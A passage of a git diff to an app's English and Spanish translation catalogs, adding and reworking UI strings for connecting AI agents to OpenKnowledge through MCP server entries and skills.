installed"@@ -9065,15 +9165,15 @@ msgstr "On selected text in <0>{address}</0>"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "One more step: enable it in {agent} → Settings → Tools & MCP ({agent} leaves project servers off until you turn them on)."-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "One more step: run {agent} in this project and approve OpenKnowledge once."#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9164,10 +9264,6 @@ msgstr "Open a project first."msgid "Open a project to edit."msgstr "Open a project to edit."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "Open a project to manage its AI tool connections."-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "Open a single markdown file — no project setup."@@ -9506,6 +9602,10 @@ msgstr "OpenKnowledge checked for conflicts"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge checked the project"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge could not find this agent on this machine."+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."@@ -9534,6 +9634,18 @@ msgstr "OpenKnowledge deleted {subject}"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge deleted a document"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "OpenKnowledge discovery skill"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge does not recognize this entry. Turning it on replaces it."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge edited {subject}"@@ -9578,6 +9690,10 @@ msgstr "OpenKnowledge is using a GitHub account provided by the gh CLI. There'smsgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge is using this GitHub account."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge listed the installed skills"@@ -10289,10 +10405,6 @@ msgstr "project"msgid "Project"msgstr "Project"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "Project AI tool management is only available in the OpenKnowledge desktop app."-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "Project details"@@ -10301,6 +10413,10 @@ msgstr "Project details"msgid "Project folder created, but git init failed. Try again."msgstr "Project folder created, but git init failed. Try again."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "Project MCP server"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "Project name"@@ -10314,6 +10430,10 @@ msgstr "Project plugins are your project's authoring standard — turn them on omsgid "Project root"msgstr "Project root"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "Project skill"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "Project templates"@@ -10468,6 +10588,21 @@ msgstr "Pushed {pushed}"msgid "Pushing"msgstr "Pushing"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "Puts the OpenKnowledge discovery skill in {agent}'s machine-wide skills folder, so it can find OpenKnowledge in any project."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "Puts the OpenKnowledge skill in {agent}'s skills folder for this project, so its edits stay attributed."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "Puts the OpenKnowledge skill in the central skills store {agent} reads."+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "Puzzling…"@@ -10586,6 +10721,10 @@ msgstr "Recent project"msgid "Recently opened"msgstr "Recently opened"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "Recommended"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "Recommended agent skill"@@ -10721,6 +10860,8 @@ msgstr "Remote control"msgid "Remote skill source"msgstr "Remote skill source"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10761,6 +10902,10 @@ msgstr "Remove {patternText}"msgid "Remove {projectName} from recent projects"msgstr "Remove {projectName} from recent projects"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "Remove {rowLabel}"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "Remove {tag}"@@ -10773,6 +10918,10 @@ msgstr "Remove failed: {error}"msgid "Remove field {field}"msgstr "Remove field {field}"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "Remove for both"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10792,6 +10941,15 @@ msgstr "Remove link"msgid "Remove OpenKnowledge from {0}"msgstr "Remove OpenKnowledge from {0}"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "Remove OpenKnowledge from {0}?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "Remove OpenKnowledge?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "Remove property"@@ -10935,8 +11093,8 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "Reopening \"{docName}\" with a fresh local collaboration cache."#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"-msgstr "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"+msgstr "repaired MCP integration for {names}"#: src/editor/find-replace/FindReplaceBar.tsx#: src/lib/keyboard-shortcuts.ts@@ -10951,6 +11109,10 @@ msgstr "Replace {keyName}"msgid "Replace all matches"msgstr "Replace all matches"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "Replace and save"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "Replace current match"@@ -10983,6 +11145,10 @@ msgstr "Replace these copies with symlinks to the source?"msgid "Replace these symlinks with independent copies?"msgstr "Replace these symlinks with independent copies?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11239,7 +11405,7 @@ msgstr "Retrieving…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "Retry"@@ -11379,6 +11545,7 @@ msgstr "Sandboxed HTML embed — write HTML, see the rendered preview live."msgid "Save"msgstr "Save"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "Save changes"@@ -11429,6 +11596,7 @@ msgstr "Saved with the project for your team."msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "Saving"@@ -11482,7 +11650,7 @@ msgstr "Search \"{semanticSubmitQuery}\" by meaning"msgid "Search ({searchShortcutLabel})"msgstr "Search ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "Search agents"@@ -12066,8 +12234,7 @@ msgstr "Show {0} more"msgid "Show {hidden} more"msgstr "Show {hidden} more"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "Show {hiddenCount} more"@@ -12133,8 +12300,7 @@ msgid "Show in Explorer"msgstr "Show in Explorer"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "Show less"@@ -12341,11 +12507,6 @@ msgstr "Skills from {0}/{1}."msgid "Skills from OpenKnowledge"msgstr "Skills from OpenKnowledge"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "Skills moved to Skills Studio."-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "Skills reassigned"@@ -12501,6 +12662,7 @@ msgstr "Something went wrong sending your feedback. Please try again."msgid "Something went wrong starting the terminal."msgstr "Something went wrong starting the terminal."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "Something went wrong. Please try again."@@ -13074,7 +13236,6 @@ msgstr "Templates"msgid "Templates available"msgstr "Templates available"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13083,8 +13244,7 @@ msgstr "Templates available"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13212,6 +13372,11 @@ msgstr "The {0} download request timed out."msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "The {0} plugin serves these skills from its cache — OK never edits or updates them."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "The {agent} desktop app ignores this project config; only the {agent} CLI reads it."+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."@@ -13452,6 +13617,14 @@ msgstr "The source folder itself does not move."msgid "The template's filename (without `.md`)."msgstr "The template's filename (without `.md`)."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "The terminal and desktop rows for {label} share one setup, so connecting either connects both."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "The terminal is turned off for this project. Turn it back on to run commands here."@@ -13608,6 +13781,14 @@ msgstr "This agent doesn't offer slash commands"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "This agent doesn't offer slash commands — your message will be sent as plain text"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "This agent hasn't announced its commands yet"@@ -13651,6 +13832,14 @@ msgstr "This comment is on the whole property"msgid "This conflict is resolved."msgstr "This conflict is resolved."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "This could not be set up because the MCP server entry it needs was not written."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "This doc"@@ -13683,6 +13872,10 @@ msgstr "This document was deleted"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "This field carries additional schema keywords the editor does not show — they are preserved on save."@@ -13735,6 +13928,10 @@ msgstr "This folder is a clone of {actualOwner}/{actualRepo}, not {expectedOwnermsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "This folder is also {alsoAffects}'s."+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "This folder is empty."@@ -13793,6 +13990,7 @@ msgstr "this item"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13818,6 +14016,10 @@ msgstr "This one needs to see your files, not just the open document, so it appemsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "This option cannot be changed automatically."+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "This pack is already set up here."@@ -13873,6 +14075,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "This permanently removes {path}. Agents that reference this template by name will fail until it's recreated or replaced by one in a parent folder."#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13921,11 +14124,6 @@ msgstr "This project's running server doesn't support live editing. Restart Openmsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "This project's server (v{0}) is newer than this app (v{1})."-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "This project's skill moved to Skills Studio."-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."@@ -13963,6 +14161,18 @@ msgstr "This setting is per-machine and isn't shared with collaborators."msgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "This setup is shared with {peers}. Removing it here removes it for {peers} too."+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "This source bundles several skills — choose one, then Import."@@ -14283,7 +14493,6 @@ msgid "Type to find a doc"msgstr "Type to find a doc"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "unavailable on this platform"@@ -14917,8 +15126,7 @@ msgstr "What should the AI do? (optional)"msgid "What the agent may read, write, and surface."msgstr "What the agent may read, write, and surface."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "What this checkbox changes"@@ -14994,6 +15202,10 @@ msgstr "Who you are, so the agent has your context."msgid "Whole word"msgstr "Whole word"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "Why this needs attention"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "Wiki link"@@ -15031,6 +15243,10 @@ msgstr "Window"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "Without the skill the agent still works, but it loses edit attribution and the live preview."+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "Word wrap"@@ -15078,6 +15294,11 @@ msgstr "Worktrees"msgid "Wrap long lines in the markdown source editor."msgstr "Wrap long lines in the markdown source editor."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "Writes a small bridge file {agent} loads from this project to reach OpenKnowledge."+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "Writes an entry to"@@ -15086,6 +15307,10 @@ msgstr "Writes an entry to"msgid "writing"msgstr "writing"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "Writing this file failed. Check the OpenKnowledge log for the reason."+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."@@ -15233,6 +15458,10 @@ msgstr "Your copy of branch <0>{shareBranch}</0> has changes that aren't on GitHmsgid "Your current version is saved first, so this is reversible."msgstr "Your current version is saved first, so this is reversible."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "Your documents are not touched."+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/es/messages.json b/packages/app/src/locales/es/messages.jsonindex 4bfaac229..9b7c956e9 100644--- a/packages/app/src/locales/es/messages.json+++ b/packages/app/src/locales/es/messages.json@@ -73,7 +73,6 @@"03wKPg": ["Un informe nos ayuda a encontrar la causa. No se envía nada hasta que lo revises."],"04JR6L": ["Conecta tus herramientas de IA"],"04RA0-": ["No se pudo activar la sincronización — ", ["detail"]],- "04XyCH": ["Añade un bloque gestionado a ", ["0"]],"05F1GY": ["El texto original se eliminó. Puedes volver a colocar este comentario sobre el texto seleccionado."],@@ -178,6 +177,9 @@"1DahsC": ["Buscar en los ajustes"],"1EcCom": ["Valor de ", ["keyName"]],"1FLarN": ["Describe lo que quieres crear para continuar"],+ "1FXL-O": [+ "No se pudo configurar porque la entrada del servidor MCP que necesita no se escribió."+ ],"1GhYxC": ["de ", ["totalPages"]],"1HBhDS": ["Extrayendo archivos"],"1J0c0X": ["Sigue sin poder conectarse con ", ["displayName"], ". ¿Intentarlo una vez más?"],@@ -259,11 +261,17 @@"2YOwme": ["Reiniciado: ahora se ejecuta la v", ["appRuntime"], "."],"2YZwPB": ["La respuesta de enlaces salientes no tenía la forma esperada."],"2Yt22K": ["Ocultar original"],+ "2gXnCO": ["Servidor MCP global"],"2hYmUH": ["[email protected]"],"2hpdRq": ["Ocultar el panel (", ["panelShortcutLabel"], ")"],"2j1kfc": ["Escribe una URL válida (por ejemplo https://api.openai.com/v1)."],"2jUGEP": ["Contar públicamente las instalaciones de habilidades"],"2l293S": ["Puedes restaurar este archivo desde la Papelera de reciclaje."],+ "2lJAvH": [+ "Las filas de terminal y de escritorio de ",+ ["label"],+ " comparten una misma configuración, así que quitarla desconecta ambas."+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["Lo hemos pasado al equipo y hemos adjuntado tus registros."],"2n3oDU": [@@ -366,6 +374,9 @@"3l_cXP": ["Échale un vistazo si quieres. Este archivo exacto es lo que recibimos."],"3m2GBo": ["Buscando documentos"],"3mFsc3": ["Restaurar con los cambios remotos"],+ "3n7lnE": [+ "Este agente aún no tiene un archivo de este tipo en este equipo. Ábrelo una vez y vuelve a comprobarlo."+ ],"3nICSW": ["Añade una entrada MCP de OpenKnowledge y la habilidad del proyecto a <0>",["toolList"],@@ -408,6 +419,13 @@],"4A3Yzu": ["Bloque de código"],"4BITzH": ["Error:"],+ "4C2RCg": [+ "Esta configuración se comparte con ",+ ["peers"],+ ". Si la quitas aquí, también se quitará para ",+ ["peers"],+ "."+ ],"4CfgPM": ["Se creó la carpeta del proyecto, pero falló git init. Inténtalo de nuevo."],"4E9jPa": ["Crea tu primer proyecto"],"4EZrJN": ["Reglas"],@@ -454,6 +472,7 @@["0"],"\" de todas las demás ubicaciones; su carpeta de origen se sigue cargando"],+ "4sE6E9": ["No se pudo comprobar qué herramientas están conectadas."],"4sKwf6": ["El archivo ya existe"],"4sUdTJ": ["vista previa con tema"],"4uNLmk": ["Haciendo pull"],@@ -484,6 +503,7 @@"5BlXTD": ["No se pudo cargar la vista previa de la versión. Aun así puedes elegir abajo cómo resolverlo."],+ "5CHuXn": [["0"], " necesita ", ["1"], ". Desactiva ambos o mantén ambos activados."],"5ClEAu": ["Etiqueta en línea para agrupar entre documentos."],"5D3Ior": ["Ocultar la carpeta"],"5F5HYj": [["ahead"], " por delante, ", ["behind"], " por detrás"],@@ -502,6 +522,9 @@"5OqaJi": ["Escribe un nombre de proyecto"],"5PHgV2": ["También puedes crear uno desde una terminal con <0>ok bug-report</0>."],"5QGTaA": ["No se pudo copiar la ruta relativa"],+ "5RiC8D": [+ "Las habilidades de descubrimiento se administran juntas para todas las herramientas de IA. Instala esta desde Ajustes → Estudio de habilidades."+ ],"5SwVv1": ["No instalado"],"5Szq6N": ["Este endpoint ignoró el tamaño de vector que configuraste. Quita <0>search.semantic.dimensions</0> para usar el tamaño propio del modelo."@@ -696,6 +719,12 @@"7IsvrP": ["Buscando actualizaciones"],"7JtSLi": ["No se pudo eliminar la ruta"],"7MSbAT": ["Disponible en"],+ "7Ny8bV": [+ ["dependent"],+ " necesita ",+ ["prerequisite"],+ ", y OpenKnowledge no encontró este agente en este equipo."+ ],"7O7REc": ["No se pudo restaurar ", ["0"], ". Inténtalo de nuevo."],"7OhaRy": ["Búsqueda en el código"],"7Ongq0": ["Reduce mi archivo AGENTS.md a menos de 40k caracteres"],@@ -831,6 +860,9 @@"8uGMP8": ["El contenido oculto va aquí."],"8vCZcs": ["No se pudo abrir el archivo."],"8vETh9": ["Mostrar"],+ "8wwkVu": [+ "Esta entrada cambió después de que OpenKnowledge la escribiera. Activarla la reemplaza."+ ],"8x6zk9": ["Ocultar editor de ", ["0"]],"9-lMCF": ["Color de ", ["slot"], " — ", ["0"]],"90-wKT": ["OpenKnowledge leyó el historial de ", ["subject"]],@@ -985,7 +1017,6 @@"AYoYhU": ["Falló la actualización: ", ["0"]],"AaC-CE": ["Pizarra vacía"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["Entrada open-knowledge personalizada, no gestionada por OpenKnowledge"],"AdcGcG": ["Aplicando tu cambio"],"AddR83": ["No se pudo crear el proyecto. Inténtalo de nuevo o elige otra ubicación."],"AeHuzT": ["# Un patrón por línea.\n# Ejemplos:\n# drafts/\n# *.draft.md\n# !keep.md"],@@ -1014,6 +1045,7 @@],"Al8HPP": ["Aceptar la versión actual para el conflicto ", ["0"]],"Am78jY": ["Arrastra ", ["keyName"], " para reordenar"],+ "ApNWRQ": ["¿Quitar OpenKnowledge de ", ["0"], "?"],"ApeA0n": ["Se deshicieron ", ["dropCount"], " ediciones en ", ["docName"]],"Aq-O0x": ["estado"],"AqnqMJ": ["Clave de API definida"],@@ -1063,6 +1095,9 @@"BGtzlf": [["uploadFolderName"], " — 1 archivo"],"BH56dn": ["Texto personalizado"],"BKI4hX": ["Buscar en el archivo"],+ "BMoSQy": [+ "Este agente no ofrece a OpenKnowledge ninguna forma de configurarlo por ti. Su guía de configuración incluye los pasos manuales."+ ],"BOsvJ8": ["<0>ok</0> no funcionará en terminales externas hasta que lo añadas más tarde desde el menú Archivo. Tus herramientas de IA seguirán funcionando."],@@ -1154,11 +1189,7 @@"CU3AiE": ["Cambiando de rama"],"CUmCwI": ["Insertar fila debajo"],"CWjM1r": ["documentos directamente en ", ["0"], "/"],- "CWzc2T": [- "<0>~/.ok/bin</0> y <1>~/.ok/env.sh</1> se conservan en cualquier caso: la aplicación siempre los mantiene."- ],"CXDYfm": ["No se pudo leer si la habilidad de este proyecto está instalada."],- "CXTwen": ["No se puede editar con seguridad la configuración de este proyecto"],"CXcveY": ["Open Knowledge mantiene un archivo de navegación llamado index.md en cada carpeta que contiene Markdown, cada uno de los cuales enumera los documentos de esa carpeta por tipo y vincula a sus subcarpetas. Reescribe estos archivos a medida que cambian sus documentos y todo lo que edite en ellos se reemplaza."],@@ -1194,9 +1225,9 @@"En los proyectos Git, Open Knowledge añade una regla con alcance al archivo .gitattributes de la raíz del repositorio para combinar los cambios simultáneos del índice."],"CxVk-w": ["Comentar en ", ["address"]],+ "CxnZP4": ["Elige qué configura OpenKnowledge."],"Cz-K13": ["15 minutos"],"D-NlUC": ["Sistema"],- "D-Oh1s": ["Cómo configurar ", ["0"], " (se abre en el navegador)"],"D-_B7l": ["Conectado: este endpoint devuelve vectores de ", ["0"], " dimensiones."],"D0CegO": ["Una segunda habilidad tiene este nombre — cámbiale el nombre (o elimina una) para gestionarla por completo."@@ -1204,6 +1235,9 @@"D12vtS": ["(desacoplado)"],"D2emTw": ["Algo salió mal al enviar tus comentarios. Inténtalo de nuevo."],"D4H2N6": ["Quitar ", ["tag"]],+ "D4I0F9": [+ "Elige qué agentes aparecen en los menús de agentes de la aplicación y configúralos para que puedan leer y actualizar tus documentos."+ ],"D7gKrd": ["OpenKnowledge no pudo escribir la configuración de inicio en .ok/local/terminal porque la carpeta no está contenida de forma segura en este proyecto. Comprueba que sea una carpeta real dentro del proyecto y no un enlace. Claude te pedirá que apruebes OpenKnowledge."],@@ -1299,6 +1333,7 @@"E1_c72": ["Lista de tareas"],"E1tG2u": ["Obtener Claude Code"],"E2Mv-X": ["Copiar el código fuente"],+ "E35Meh": ["Quitar ", ["rowLabel"]],"E4XYYH": ["Activar la terminal en este proyecto"],"E5WeIy": ["Reabre la última pestaña del editor que se cerró."],"E6lrpp": [@@ -1308,7 +1343,11 @@"E91VZY": ["Abrir en una ventana nueva"],"E9bKSA": ["Creando"],"E9gh86": ["Puedes adjuntar hasta ", ["MAX_ATTACHMENTS"], " imágenes."],+ "EBP_hA": [+ "Añade una entrada MCP de OpenKnowledge a la configuración de agente de este proyecto."+ ],"EBVbtP": ["No se pudo duplicar el elemento"],+ "EDD3UL": ["No detectado en este equipo"],"EDl9kS": 